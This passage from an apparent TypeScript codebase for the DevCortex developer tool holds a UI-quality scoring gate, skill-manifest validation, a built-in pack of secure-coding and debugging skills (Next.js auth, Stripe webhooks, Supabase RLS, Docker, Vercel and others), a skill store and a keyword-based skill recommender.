continue;\n const items = dim.issues.length > 0 ? dim.issues : [`Improve ${dim.label} (scored ${dim.score}/100).`];\n for (const item of items) {\n if (!fixes.includes(item)) fixes.push(item);\n if (fixes.length >= MAX_TOP_FIXES) return fixes;\n }\n }\n return fixes;\n}\n\n// --- public entrypoint ------------------------------------------------------\n\n/**\n * Run the premium-UI gate against `root`, returning a computed `UiQualityScore`.\n * Every dimension and the weighted `overall` land in the inclusive 0-100 range;\n * `topFixes` are the highest-leverage improvements ordered most-impactful-first.\n *\n * Throws `GateError` only on invalid input or an internal failure — a detected\n * quality issue lowers a score, it never throws.\n *\n * @param root the repository root the graph was scanned from.\n * @param graph the project graph (from `scanProject`/`loadGraph`).\n */\nexport async function runPremiumUiGate(\n root: string,\n graph: ProjectGraph,\n): Promise<UiQualityScore> {\n assertGateInputs(root, graph);\n const absRoot = path.resolve(root);\n\n try {\n const contents = await readUiSources(absRoot, graph);\n\n const visualHierarchy = scoreVisualHierarchy(graph, contents);\n const mobileResponsiveness = scoreMobileResponsiveness(graph, contents);\n const spacingConsistency = scoreSpacingConsistency(graph, contents);\n const accessibility = scoreAccessibility(graph, contents);\n const premiumFeel = scorePremiumFeel(graph, contents);\n\n const overall = clampScore(\n visualHierarchy.score * WEIGHTS.visualHierarchy +\n mobileResponsiveness.score * WEIGHTS.mobileResponsiveness +\n spacingConsistency.score * WEIGHTS.spacingConsistency +\n accessibility.score * WEIGHTS.accessibility +\n premiumFeel.score * WEIGHTS.premiumFeel,\n );\n\n const topFixes = buildTopFixes([\n { label: 'visual hierarchy', score: visualHierarchy.score, issues: visualHierarchy.issues },\n {\n label: 'mobile responsiveness',\n score: mobileResponsiveness.score,\n issues: mobileResponsiveness.issues,\n },\n {\n label: 'spacing consistency',\n score: spacingConsistency.score,\n issues: spacingConsistency.issues,\n },\n { label: 'accessibility', score: accessibility.score, issues: accessibility.issues },\n { label: 'premium feel', score: premiumFeel.score, issues: premiumFeel.issues },\n ]);\n\n return {\n visualHierarchy: visualHierarchy.score,\n mobileResponsiveness: mobileResponsiveness.score,\n spacingConsistency: spacingConsistency.score,\n accessibility: accessibility.score,\n premiumFeel: premiumFeel.score,\n overall,\n topFixes,\n };\n } catch (err) {\n if (err instanceof GateError) throw err;\n throw new GateError(`Premium-UI gate failed at ${absRoot} [${GATE_FAMILY}]`, { cause: err });\n }\n}\n","// ============================================================================\n// Skill validation — the structural gate every skill passes before it is\n// shipped in the built-in pack or persisted to `.cortex/skills/`.\n//\n// The domain `SkillManifestSchema` (./domain) is the *disk contract*: it proves\n// a JSON document is shaped like a SkillManifest. It intentionally allows empty\n// arrays and blank strings because that is a valid document. A *useful* skill,\n// however, must carry at least one trigger and one checklist step, and its id\n// must be a safe file name (skills are stored as `<id>.json`). This module adds\n// that stricter, engine-level contract on top of the disk contract, so a hollow\n// or path-escaping skill is rejected with a clear SchemaValidationError instead\n// of silently shipping useless or unsafe guidance to a host agent.\n// ============================================================================\n\nimport path from 'node:path';\n\nimport { z } from 'zod';\n\nimport { SchemaValidationError, SkillStatusSchema } from '../domain/index';\nimport type { SkillManifest } from '../domain/index';\n\nconst SkillCommandStrictSchema = z.object({\n name: z.string().min(1),\n run: z.string().min(1),\n});\n\n/**\n * Stricter-than-disk contract for a *usable* skill. Requires non-empty id,\n * name, description, source and timestamps, at least one trigger and one\n * checklist step, and non-blank entries in every string array. `commands`,\n * `antiPatterns` and `mcpRecommendations` may legitimately be empty (a\n * diagnostic-only or generated skill).\n */\nexport const SkillManifestStrictSchema = z.object({\n id: z.string().min(1),\n name: z.string().min(1),\n description: z.string().min(1),\n triggers: z.array(z.string().min(1)).min(1),\n checklist: z.array(z.string().min(1)).min(1),\n commands: z.array(SkillCommandStrictSchema),\n antiPatterns: z.array(z.string().min(1)),\n mcpRecommendations: z.array(z.string().min(1)),\n status: SkillStatusSchema,\n source: z.string().min(1),\n createdAt: z.string().min(1),\n updatedAt: z.string().min(1),\n});\n\n/** True when `id` is a single safe path segment (no separators, no traversal). */\nexport function isSafeSkillId(id: string): boolean {\n return (\n typeof id === 'string' &&\n id.length > 0 &&\n id === path.basename(id) &&\n !id.includes('..') &&\n !id.includes('/') &&\n !id.includes('\\\\')\n );\n}\n\n/**\n * Assert `skill` is a structurally complete, usable, safely-named SkillManifest.\n *\n * @param context short label woven into the error message (e.g. `\"built-in\"`,\n * `\"install\"`) so the failure points at where the bad skill came from.\n * @throws SchemaValidationError when the skill fails the strict schema or its id\n * is not a safe entry id.\n */\nexport function assertValidSkill(skill: SkillManifest, context: string): void {\n const parsed = SkillManifestStrictSchema.safeParse(skill);\n if (!parsed.success) {\n const detail = parsed.error.issues\n .map((issue) => `${issue.path.join('.') || '<root>'}: ${issue.message}`)\n .join('; ');\n throw new SchemaValidationError(`Invalid skill (${context}): ${detail}`, {\n details: parsed.error.issues,\n });\n }\n if (!isSafeSkillId(skill.id)) {\n throw new SchemaValidationError(\n `Invalid skill (${context}): id \"${skill.id}\" is not a safe entry id (skills are stored as <id>.json).`,\n { details: { id: skill.id } },\n );\n }\n}\n\n/**\n * Assert every skill id in `skills` is unique, so a registry can never ship two\n * conflicting entries under the same id (and a project skill file never collides\n * with itself). Order-preserving; throws on the first duplicate.\n *\n * @throws SchemaValidationError on the first repeated id.\n */\nexport function assertUniqueSkillIds(skills: readonly SkillManifest[], context: string): void {\n const seen = new Set<string>();\n for (const skill of skills) {\n if (seen.has(skill.id)) {\n throw new SchemaValidationError(`Duplicate skill id \"${skill.id}\" (${context}).`, {\n details: { id: skill.id },\n });\n }\n seen.add(skill.id);\n }\n}\n","// ============================================================================\n// Built-in skill pack (§7.18).\n//\n// Eight real, evidence-based skills that ship with DevCortex Core. Each one is a\n// reusable unit of engineering behaviour: task signals (`triggers`) that make it\n// relevant, an ordered `checklist` an agent must satisfy, runnable `commands`\n// the gate/command runner executes (never eval'd), `antiPatterns` to reject, and\n// `mcpRecommendations` for capabilities the task typically needs. Guidance is\n// anchored to shipping 2026 APIs (Next.js App Router / Server Actions, Stripe\n// Node SDK `webhooks.constructEvent` over the RAW body, Supabase `@supabase/ssr`\n// + RLS, React Hook Form + Zod).\n//\n// The pack is validated at module load (structural completeness + unique ids):\n// a malformed built-in skill is a bug in *this* file and must fail fast rather\n// than reach a host agent, mirroring the stack-pack registry's integrity check.\n// ============================================================================\n\nimport type { SkillManifest } from '../domain/index';\n\nimport { assertUniqueSkillIds, assertValidSkill } from './validation';\n\n// Fixed provenance timestamp: the built-in pack has a stable identity, so its\n// `createdAt`/`updatedAt` do not drift every process start (deterministic pack).\nconst BUILT_IN_AT = '2026-07-01T00:00:00.000Z';\n\nfunction builtIn(\n skill: Omit<SkillManifest, 'status' | 'source' | 'createdAt' | 'updatedAt'>,\n): SkillManifest {\n return {\n ...skill,\n status: 'built-in',\n source: 'built-in',\n createdAt: BUILT_IN_AT,\n updatedAt: BUILT_IN_AT,\n };\n}\n\nconst nextjsAppRouterAuth: SkillManifest = builtIn({\n id: 'nextjs-app-router-auth',\n name: 'Next.js App Router authentication',\n description:\n 'Wire authentication and route protection correctly in the Next.js App Router: verify identity on the server, refresh sessions in middleware, and never trust client-only guards.',\n triggers: [\n 'auth',\n 'authentication',\n 'login',\n 'log in',\n 'sign in',\n 'sign out',\n 'session',\n 'protected route',\n 'route protection',\n 'middleware',\n 'rbac',\n 'app router',\n 'nextjs',\n 'next.js',\n 'supabase auth',\n ],\n checklist: [\n 'Establish the verified user on the server with a call that re-checks the token (e.g. supabase.auth.getUser()), not a cached client session, before rendering protected content.',\n 'Protect routes in middleware.ts: refresh the session cookie and redirect unauthenticated requests; keep the matcher tight so static assets are not processed.',\n 'Read the user inside Server Components / Route Handlers; pass only the minimum identity down to Client Components.',\n 'Enforce authorization (role / resource ownership) at every mutation entry point — a \"use server\" action is a public POST endpoint.',\n 'Send auth cookies with HttpOnly, Secure and SameSite set; never persist tokens in localStorage or a NEXT_PUBLIC_ variable.',\n 'Add a redirect-to-login and a redirect-after-login path, and cover both with a smoke test.',\n ],\n commands: [\n { name: 'typecheck', run: 'pnpm exec tsc --noEmit' },\n { name: 'build', run: 'pnpm run build' },\n {\n name: 'audit-client-token-storage',\n run: \"grep -rniE 'localStorage|sessionStorage' app components lib --include='*.ts' --include='*.tsx' || true\",\n },\n {\n name: 'audit-server-identity',\n run: \"grep -rn 'getUser' app lib middleware.ts --include='*.ts' --include='*.tsx' || true\",\n },\n ],\n antiPatterns: [\n 'Trusting getSession() (unverified, decoded locally) instead of getUser() for authorization decisions.',\n 'Guarding pages only in a Client Component — the server still renders and can leak data before the guard runs.',\n 'Storing access or refresh tokens in localStorage where any XSS can exfiltrate them.',\n 'Prefixing an auth secret with NEXT_PUBLIC_, inlining it into the browser bundle.',\n 'A middleware matcher so broad it runs auth logic on every static asset request.',\n ],\n mcpRecommendations: [\n 'Supabase MCP (read-only) to inspect auth configuration and users.',\n 'Playwright MCP to drive the login / logout / protected-route flow and capture evidence.',\n ],\n});\n\nconst stripeWebhookHardening: SkillManifest = builtIn({\n id: 'stripe-webhook-hardening',\n name: 'Stripe webhook hardening',\n description:\n 'Make a Stripe webhook endpoint secure and idempotent: verify the signature over the raw body, dedupe by event id, and keep the secret key server-side.',\n triggers: [\n 'stripe',\n 'webhook',\n 'billing',\n 'subscription',\n 'checkout',\n 'payment',\n 'invoice',\n 'constructevent',\n 'signature',\n 'stripe-signature',\n ],\n checklist: [\n 'Read the RAW request body and pass it to stripe.webhooks.constructEvent(rawBody, signature, endpointSecret) — parsing to JSON first breaks the signature check.',\n 'Load the signing secret from STRIPE_WEBHOOK_SECRET (server env) and the stripe-signature header from the request.',\n 'Run the handler on the Node runtime (export const runtime = \"nodejs\") — the Stripe SDK needs Node crypto.',\n 'Make processing idempotent: record event.id (Redis SET NX or a unique DB column) and skip events already handled — Stripe retries are expected, not a bug.',\n 'Handle only the event types you need with an exhaustive switch and return 200 quickly; do heavy work asynchronously.',\n 'Keep STRIPE_SECRET_KEY server-side only; document STRIPE_SECRET_KEY and STRIPE_WEBHOOK_SECRET as required env vars.',\n 'Return 4xx on signature failure and let Stripe retry on 5xx.',\n ],\n commands: [\n { name: 'build', run: 'pnpm run build' },\n {\n name: 'verify-signature-check-present',\n run: \"grep -rn 'constructEvent' app pages src --include='*.ts' --include='*.tsx' || true\",\n },\n {\n name: 'audit-secret-key-not-client',\n run: \"grep -rniE 'NEXT_PUBLIC_STRIPE_SECRET|STRIPE_SECRET_KEY' app components --include='*.tsx' || true\",\n },\n ],\n antiPatterns: [\n 'Calling JSON.parse / express.json() on the body before constructEvent — signature verification then always fails.',\n 'Skipping idempotency, so a retried event double-charges or double-provisions.',\n 'Exposing STRIPE_SECRET_KEY to the client or committing it to the repo.',\n 'Running the webhook on the Edge runtime where the Node Stripe SDK cannot execute.',\n 'Returning 200 before the event is durably recorded, so a crash loses the event with no retry.',\n ],\n mcpRecommendations: [\n 'Stripe MCP / Stripe docs MCP to confirm current event shapes and the constructEvent contract.',\n ],\n});\n\nconst supabaseRlsCheck: SkillManifest = builtIn({\n id: 'supabase-rls-check',\n name: 'Supabase Row Level Security check',\n description:\n 'Ensure every user-facing Supabase table is protected by Row Level Security with explicit per-operation policies, and that the service-role key never reaches the client.',\n triggers: [\n 'supabase',\n 'rls',\n 'row level security',\n 'policy',\n 'policies',\n 'postgres',\n 'database',\n 'permissions',\n 'service role',\n 'service_role',\n 'anon key',\n ],\n checklist: [\n 'Enable RLS on every table in the public schema that holds user data (alter table ... enable row level security).',\n 'Write an explicit policy per operation (select / insert / update / delete) scoped to auth.uid(); a table with RLS on but no policy denies all access.',\n 'Use the anon key in the browser and the service-role key only in trusted server code — the service-role key bypasses RLS entirely.',\n 'Verify writes set the owner column server-side; do not trust a client-supplied user_id.',\n 'Add a regression check that an anonymous / other-user request is denied on protected tables.',\n 'Keep RLS policies in versioned migrations, not ad-hoc dashboard edits.',\n ],\n commands: [\n {\n name: 'audit-service-role-in-client',\n run: \"grep -rniE 'SUPABASE_SERVICE_ROLE|service_role' app components --include='*.ts' --include='*.tsx' || true\",\n },\n {\n name: 'list-rls-in-migrations',\n run: \"grep -rniE 'enable row level security|create policy' supabase migrations --include='*.sql' || true\",\n },\n ],\n antiPatterns: [\n 'A public table with RLS disabled — the anon key can then read or write every row.',\n 'Using the service-role key in a Client Component or a NEXT_PUBLIC_ variable, bypassing all policies.',\n 'Enabling RLS but forgetting to add policies, then disabling RLS again to \"fix\" the broken query.',\n 'Trusting a user_id sent from the client instead of deriving it from auth.uid().',\n ],\n mcpRecommendations: [\n 'Supabase MCP (read-only) to list tables and their policies.',\n 'Postgres MCP (read-only) to inspect pg_policies and confirm coverage.',\n ],\n});\n\nconst shadcnDashboardPolish: SkillManifest = builtIn({\n id: 'shadcn-dashboard-polish',\n name: 'shadcn/ui dashboard polish',\n description:\n 'Lift a shadcn/ui dashboard from \"generic AI UI\" to premium: consistent spacing and radius, real loading / empty / error states, strong hierarchy, and a responsive, accessible layout.',\n triggers: [\n 'shadcn',\n 'dashboard',\n 'ui',\n 'ui polish',\n 'polish',\n 'component',\n 'tailwind',\n 'design',\n 'layout',\n 'cards',\n 'premium ui',\n ],\n checklist: [\n 'Use one spacing scale and one border-radius / shadow token set across cards, buttons and inputs; remove one-off values.',\n 'Give every data surface a real loading state (skeletons), empty state (illustration + primary action) and error state (retry) — not a blank panel.',\n 'Establish visual hierarchy: one clear page title, grouped sections, and a single primary CTA per view.',\n 'Make the grid responsive: cards stack cleanly and nothing overflows at 375px width.',\n 'Verify dark-mode contrast on text, borders and muted foregrounds; meet WCAG AA (4.5:1 body text).',\n 'Use shadcn primitives consistently (Card, Button, Badge) instead of bespoke divs that drift from the design system.',\n ],\n commands: [\n { name: 'build', run: 'pnpm run build' },\n { name: 'lint', run: 'pnpm run lint' },\n ],\n antiPatterns: [\n 'Mixing several border radii and shadow depths so the UI looks assembled from unrelated kits.',\n 'Rendering a bare spinner or empty div where a skeleton / empty state belongs.',\n 'A flat wall of identical cards with no hierarchy or grouping.',\n 'Low-contrast muted text that fails AA, especially in dark mode.',\n ],\n mcpRecommendations: [\n 'Playwright MCP to screenshot the dashboard at desktop and 375px for a visual diff.',\n ],\n});\n\nconst reactHookFormZod: SkillManifest = builtIn({\n id: 'react-hook-form-zod',\n name: 'React Hook Form + Zod validation',\n description:\n 'Build forms with a single Zod schema as the source of truth: validate on the client with zodResolver and re-validate the same schema on the server.',\n triggers: [\n 'form',\n 'forms',\n 'react hook form',\n 'rhf',\n 'zod',\n 'validation',\n 'validate',\n 'zodresolver',\n 'input',\n 'submit',\n 'schema',\n ],\n checklist: [\n 'Define one Zod schema for the form and infer the TypeScript type from it (z.infer) — do not hand-maintain a parallel interface.',\n 'Wire useForm({ resolver: zodResolver(schema) }) and render field-level errors from formState.errors.',\n 'Re-parse the same schema on the server (Server Action / Route Handler) before persisting — client validation is a UX affordance, not a security boundary.',\n 'Disable the submit button and show a pending state while isSubmitting is true to prevent double submits.',\n 'Associate every input with a label and set aria-invalid / aria-describedby for accessible error messaging.',\n 'Return a typed { ok, error } result from the server rather than throwing raw errors to the client.',\n ],\n commands: [\n { name: 'typecheck', run: 'pnpm exec tsc --noEmit' },\n { name: 'test', run: 'pnpm run test' },\n {\n name: 'audit-shared-schema',\n run: \"grep -rn 'zodResolver' app components src --include='*.tsx' || true\",\n },\n ],\n antiPatterns: [\n 'Validating only on the client, leaving the Server Action to trust arbitrary input.',\n 'Maintaining a separate TypeScript interface alongside the Zod schema so the two drift.',\n 'Leaving the submit button enabled during submission, allowing duplicate requests.',\n 'Swallowing validation errors instead of surfacing them per-field.',\n ],\n mcpRecommendations: [\n 'Docs MCP (read-only) to confirm the current React Hook Form + Zod resolver API.',\n ],\n});\n\nconst vercelDeploymentDebugging: SkillManifest = builtIn({\n id: 'vercel-deployment-debugging',\n name: 'Vercel deployment debugging',\n description:\n 'Diagnose a failing or misbehaving Vercel deployment systematically: reproduce the build locally, reconcile environment variables per environment, and check runtime / framework settings.',\n triggers: [\n 'vercel',\n 'deployment',\n 'deploy',\n 'deployment failed',\n 'build failed',\n 'preview',\n 'env var',\n 'environment variable',\n 'runtime',\n 'edge',\n 'serverless',\n ],\n checklist: [\n 'Read the failing build log top-to-bottom and identify the first error, not the last — later errors are usually cascades.',\n 'Reproduce the production build locally (vercel build or pnpm run build) so you are not debugging blind against the remote.',\n 'Reconcile env vars: confirm each required variable is set for the correct environment (Production / Preview / Development); a missing var is the most common cause.',\n 'Confirm the Node version and framework preset match the project (engines field / Project Settings).',\n 'Check the function runtime: Node vs Edge, and per-route runtime exports — Edge cannot run Node-only SDKs.',\n 'Verify no secret is committed and no build step depends on a file excluded by .vercelignore / .gitignore.',\n 'Plan a rollback to the last good deployment before shipping a risky fix.',\n ],\n commands: [\n { name: 'build-local', run: 'pnpm run build' },\n { name: 'vercel-build', run: 'vercel build' },\n { name: 'list-env', run: 'vercel env ls' },\n ],\n antiPatterns: [\n 'Redeploying repeatedly without reading the build log.',\n 'Setting an env var only for Production and wondering why Preview deployments still fail.',\n 'Using a Node-only SDK in a route pinned to the Edge runtime.',\n 'Committing .env with real secrets to make the build pass.',\n ],\n mcpRecommendations: [\n 'Vercel MCP (read-only) to inspect deployments, build logs and environment variables.',\n ],\n});\n\nconst dockerBuildFailureDiagnosis: SkillManifest = builtIn({\n id: 'docker-build-failure-diagnosis',\n name: 'Docker build failure diagnosis',\n description:\n 'Diagnose a failing Docker image build methodically: read the failing layer, tighten the build context and cache order, and pin the base image.',\n triggers: [\n 'docker',\n 'dockerfile',\n 'docker build',\n 'build failure',\n 'image',\n 'container',\n 'layer',\n 'buildkit',\n 'multi-stage',\n ],\n checklist: [\n 'Rebuild with plain progress (docker build --progress=plain) and locate the exact failing RUN / COPY step and its command output.',\n 'Confirm the build context is small and correct: add a .dockerignore for node_modules, .git, .env and build output.',\n 'Pin the base image to a specific tag or digest instead of :latest so builds are reproducible.',\n 'Order layers cheapest-to-most-volatile: copy manifests and install deps before copying source, so the dependency layer stays cached.',\n 'Use a multi-stage build to keep build-only tooling out of the final image.',\n 'Match the target architecture (--platform) when building for a different host than your machine.',\n 'Never bake secrets into a layer; use build secrets / runtime env instead.',\n ],\n commands: [\n { name: 'build-plain', run: 'docker build --progress=plain -t devcortex-diagnose .' },\n { name: 'build-no-cache', run: 'docker build --no-cache -t devcortex-diagnose .' },\n {\n name: 'check-dockerignore',\n run: \"test -f .dockerignore && echo '.dockerignore present' || echo 'MISSING .dockerignore'\",\n },\n ],\n antiPatterns: [\n 'Building with no .dockerignore, shipping node_modules and .git into the context (slow, and can leak secrets).',\n 'Basing the image on :latest so a base update silently breaks the build.',\n 'Copying the whole source before installing dependencies, busting the cache on every code change.',\n 'Embedding secrets in a RUN or ENV layer where docker history exposes them.',\n ],\n mcpRecommendations: [\n 'Docker MCP (read-only) to inspect images, layers and build history.',\n ],\n});\n\nconst mobileResponsiveFix: SkillManifest = builtIn({\n id: 'mobile-responsive-fix',\n name: 'Mobile responsive fix',\n description:\n 'Fix mobile layout defects: eliminate horizontal overflow at small widths, replace fixed pixel widths with fluid layout, and ensure tap targets and images behave on small screens.',\n triggers: [\n 'mobile',\n 'responsive',\n 'responsiveness',\n 'overflow',\n 'horizontal scroll',\n 'viewport',\n 'breakpoint',\n '375',\n 'small screen',\n 'tailwind',\n 'layout',\n ],\n checklist: [\n 'Test the page at 375px width (iPhone SE / mini) and audit for any horizontal scroll.',\n 'Replace fixed widths (w-[900px], min-w-*) with fluid constraints (w-full, max-w-*, responsive grid/flex that wraps).',\n 'Constrain media: img / video get max-w-full h-auto so they never force overflow.',\n 'Make tables and code blocks scroll inside their own container (overflow-x-auto) rather than the whole page.',\n 'Ensure interactive targets are at least 44x44px and spaced for touch.',\n 'Respect safe-area insets on notched devices for fixed headers / footers.',\n 'Confirm the viewport meta tag is present (width=device-width, initial-scale=1).',\n ],\n commands: [\n { name: 'build', run: 'pnpm run build' },\n {\n name: 'audit-fixed-widths',\n run: \"grep -rniE 'w-\\\\[[0-9]+px\\\\]|min-w-\\\\[[0-9]+px\\\\]' app components src --include='*.tsx' || true\",\n },\n ],\n antiPatterns: [\n 'Hard-coded pixel widths that exceed 375px and force horizontal scrolling.',\n 'Full-bleed images without max-w-full, pushing the layout wider than the viewport.',\n 'Tap targets smaller than 44px crammed together.',\n 'A wide data table that scrolls the entire page instead of scrolling within its container.',\n ],\n mcpRecommendations: [\n 'Playwright MCP with a mobile viewport (375px) to screenshot and confirm no overflow.',\n ],\n});\n\n/**\n * The built-in skill pack. Order is stable and meaningful (auth, billing,\n * data, UI, forms, deploy, containers, mobile). Frozen so callers cannot mutate\n * the shared registry.\n */\nexport const builtInSkills: readonly SkillManifest[] = Object.freeze([\n nextjsAppRouterAuth,\n stripeWebhookHardening,\n supabaseRlsCheck,\n shadcnDashboardPolish,\n reactHookFormZod,\n vercelDeploymentDebugging,\n dockerBuildFailureDiagnosis,\n mobileResponsiveFix,\n]);\n\n// --- load-time registry integrity -------------------------------------------\n// A malformed built-in skill is a bug in this file; fail fast at import time\n// rather than shipping broken guidance to a host agent (mirrors stackpacks).\nfor (const skill of builtInSkills) {\n assertValidSkill(skill, 'built-in');\n if (skill.status !== 'built-in') {\n // Defensive: the builtIn() helper always sets this, but a future hand-edit\n // must not slip a non-built-in status into the shipped pack.\n throw new Error(`built-in skill \"${skill.id}\" must have status \"built-in\"`);\n }\n}\nassertUniqueSkillIds(builtInSkills, 'built-in registry');\n","// ============================================================================\n// SkillStore — file-backed persistence for project skills under\n// `.cortex/skills/<id>.json`.\n//\n// Reuses the shared JsonLedger base (from ../ledgers) so project skills get the\n// exact same durability guarantees as every other `.cortex/` artifact: writes\n// are atomic (temp file + rename in the same directory), every read is\n// re-validated against the domain SkillManifestSchema (a corrupt or hand-edited\n// file surfaces as a LedgerError instead of silently poisoning recommendations),\n// and unsafe ids are rejected before they become file names.\n//\n// `paths.ts` owns the canonical `.cortex/` layout but predates the skill engine\n// and has no `skillsDir`, so the directory is derived from the exposed\n// `cortexDir` — one join, no duplication of the layout knowledge.\n// ============================================================================\n\nimport path from 'node:path';\n\nimport { SkillManifestSchema } from '../domain/index';\nimport type { SkillManifest } from '../domain/index';\nimport { JsonLedger } from '../ledgers/index';\nimport { workspacePaths } from '../workspace/index';\n\n/** Absolute path of the `.cortex/skills` directory for a repo root. */\nexport function skillsDir(root: string): string {\n return path.join(workspacePaths(root).cortexDir, 'skills');\n}\n\n/**\n * Project-scoped skill store. Skills are keyed by their `id` and stored one\n * JSON document per file; the store self-initializes its backing directory on\n * the first write, so it works on a repo that has not yet run `devcortex init`.\n */\nexport class SkillStore extends JsonLedger<SkillManifest> {\n constructor(root: string) {\n super(root, skillsDir(root), SkillManifestSchema, 'skill');\n }\n\n /**\n * Validate `skill` against the disk contract and persist it atomically,\n * overwriting any existing skill with the same id. Returns the schema-parsed\n * value actually written.\n */\n async save(skill: SkillManifest): Promise<SkillManifest> {\n return this.persist(skill);\n }\n}\n","// ============================================================================\n// Skill Engine public API (§7.18).\n//\n// The built-in pack, the SkillStore and the validators are the substrate; this\n// module is the behaviour the rest of DevCortex consumes:\n//\n// loadSkills(root) — built-in pack ∪ project skills, deduped\n// recommendSkills(task, graph, config) — rank skills by task + detected stack\n// installSkill(root, skill) — validate then persist a project skill\n// generateSkillFromFailure(failure) — deterministic skill from a diagnosis\n//\n// Everything here is deterministic and tokenless (the OSS layer): recommendation\n// is pure keyword/stack matching — no LLM call — so the same task + graph always\n// yields the same ranking. Persistence reuses SkillStore (atomic, schema-checked\n// writes under `.cortex/skills/`) and every skill that reaches disk first passes\n// the strict `assertValidSkill` gate, so a hollow or path-escaping skill can\n// never be installed.\n// ============================================================================\n\nimport { LearnedFailureSchema, SchemaValidationError } from '../domain/index';\nimport type {\n CortexConfig,\n DetectedStack,\n FailureCategory,\n LearnedFailure,\n ProjectGraph,\n SkillManifest,\n} from '../domain/index';\n\nimport { builtInSkills } from './built-in';\nimport { SkillStore } from './skill-store';\nimport { assertValidSkill } from './validation';\n\n// --- load -------------------------------------------------------------------\n\n/**\n * Every skill available in `root`: the built-in pack merged with the project's\n * own skills under `.cortex/skills/`.\n *\n * A project skill whose id matches a built-in one *overrides* it in place (a\n * project may deliberately customise a shipped skill). Ordering is\n * deterministic — built-in order first (with any overrides applied), then the\n * remaining project skills sorted by id — so callers and snapshots are stable\n * regardless of filesystem `readdir` order. Project skills are read through\n * {@link SkillStore}, so each is re-validated against the disk contract; a\n * corrupt file surfaces as a LedgerError rather than poisoning the result.\n */\nexport async function loadSkills(root: string): Promise<SkillManifest[]> {\n const project = (await new SkillStore(root).all())\n .slice()\n .sort((a, b) => a.id.localeCompare(b.id));\n\n const byId = new Map<string, SkillManifest>();\n for (const skill of builtInSkills) {\n byId.set(skill.id, skill);\n }\n for (const skill of project) {\n byId.set(skill.id, skill);\n }\n\n const result: SkillManifest[] = [];\n const emitted = new Set<string>();\n for (const skill of builtInSkills) {\n result.push(byId.get(skill.id) ?? skill);\n emitted.add(skill.id);\n }\n for (const skill of project) {\n if (!emitted.has(skill.id)) {\n result.push(skill);\n emitted.add(skill.id);\n }\n }\n return result;\n}\n\n// --- recommend --------------------------------------------------------------\n\n/** A skill paired with the deterministic score {@link recommendSkills} ranked it by. */\ninterface ScoredSkill {\n skill: SkillManifest;\n score: number;\n index: number;\n}\n\n/**\n * Rank the available skills for a task, most-relevant first.\n *\n * Scoring is deterministic and tokenless:\n * - **task signal** — each of the skill's `triggers` that fully appears in the\n * task (all of a multi-word trigger's tokens present) contributes its token\n * count, so specific multi-word triggers outweigh single generic keywords.\n * - **stack signal** — each distinct keyword derived from the detected stack\n * (`graph.stack` framework / language / package manager / deployment targets)\n * and the force-loaded `config.stackPacks` that appears in the skill's\n * triggers contributes one point.\n *\n * Only skills with a positive score are returned (a skill with no task or stack\n * signal is not relevant). Ties preserve the input order, so the ranking is\n * stable. `pool` defaults to the built-in pack — the always-available set — but\n * a caller that has already {@link loadSkills | loaded} project skills may pass\n * them in to rank the full set.\n */\nexport function recommendSkills(\n task: string,\n graph: ProjectGraph,\n config: CortexConfig,\n pool: readonly SkillManifest[] = builtInSkills,\n): SkillManifest[] {\n const taskTokens = new Set(tokenize(task));\n const stackTokens = stackKeywords(graph.stack, config);\n\n const scored: ScoredSkill[] = [];\n pool.forEach((skill, index) => {\n const score = taskScore(skill, taskTokens) + stackScore(skill, stackTokens);\n if (score > 0) {\n scored.push({ skill, score, index });\n }\n });\n\n scored.sort((a, b) => (b.score - a.score) || (a.index - b.index));\n return scored.map((entry) => entry.skill);\n}\n\n/** Sum of token counts for every trigger fully present in the task. */\nfunction taskScore(skill: SkillManifest, taskTokens: ReadonlySet<string>): number {\n let score = 0;\n for (const trigger of skill.triggers) {\n const tokens = tokenize(trigger);\n if (tokens.length === 0) {\n continue;\n }\n if (tokens.every((token) => taskTokens.has(token))) {\n score += tokens.length;\n }\n }\n return score;\n}\n\n/** Count of distinct stack keywords that appear among the skill's trigger tokens. */\nfunction stackScore(skill: SkillManifest, stackTokens: ReadonlySet<string>): number {\n if (stackTokens.size === 0) {\n return 0;\n }\n const skillTokens = new Set<string>();\n for (const trigger of skill.triggers) {\n for (const token of tokenize(trigger)) {\n skillTokens.add(token);\n }\n }\n let score = 0;\n for (const token of stackTokens) {\n if (skillTokens.has(token)) {\n score += 1;\n }\n }\n return score;\n}\n\n/** Keyword set derived from the detected stack plus any force-loaded stack packs. */\nfunction stackKeywords(stack: DetectedStack, config: CortexConfig): Set<string> {\n const keywords = new Set<string>();\n const add = (value: string): void => {\n for (const token of tokenize(value)) {\n keywords.add(token);\n }\n };\n if (stack.framework !== 'unknown') {\n add(stack.framework);\n }\n if (stack.language !== 'unknown') {\n add(stack.language);\n }\n if (stack.packageManager !== 'unknown') {\n add(stack.packageManager);\n }\n for (const target of stack.deploymentTargets) {\n add(target);\n }\n for (const pack of config.stackPacks) {\n add(pack);\n }\n return keywords;\n}\n\n// --- install ----------------------------------------------------------------\n\n/**\n * Validate `skill` against the strict engine contract and persist it under\n * `.cortex/skills/<id>.json`, overwriting any existing skill with the same id.\n *\n * Validation happens *before* any I/O, so a hollow (no triggers / no checklist)\n * or unsafely-named skill is rejected with a {@link SchemaValidationError} and\n * never reaches disk. The write itself is atomic (temp file + rename) via\n * {@link SkillStore}.\n */\nexport async function installSkill(root: string, skill: SkillManifest): Promise<void> {\n assertValidSkill(skill, 'install');\n await new SkillStore(root).save(skill);\n}\n\n// --- generate from failure --------------------------------------------------\n\n/** Fixed provenance used only when a failure carries no usable timestamp. */\nconst GENERATED_FALLBACK_AT = '2026-07-01T00:00:00.000Z';\n\n/** Category-specific opening checklist step for a generated remedy skill. */\nconst CHECKLIST_BY_CATEGORY: Record<FailureCategory, string> = {\n 'missing-context': 'Gather the surrounding files, types and environment before editing.',\n 'missing-skill': 'Capture the proven approach as a reusable, checklisted skill.',\n 'outdated-docs': 'Confirm the current supported API/version against authoritative docs before using it.',\n 'wrong-package': 'Verify the package name, its exports and its installed version actually resolve.',\n 'bad-rule':\n 'Reconcile the change with the offending lint/style rule — fix the code or the rule, never suppress it.',\n 'missing-test': 'Add or update a test that reproduces the failure before changing behaviour.',\n 'weak-agent': 'Slow down: restate the goal and the constraints, then act deliberately.',\n 'missing-mcp': 'Confirm the required MCP/tool is installed and reachable before relying on it.',\n};\n\n/** Category-specific MCP hints; categories not listed carry none. */\nconst MCP_BY_CATEGORY: Partial<Record<FailureCategory, string[]>> = {\n 'missing-mcp': ['Install and verify the MCP/tool this task depends on before proceeding.'],\n 'outdated-docs': ['Docs MCP (read-only) to confirm the current, supported API.'],\n};\n\n/** Generic stop tokens that carry no signal as skill 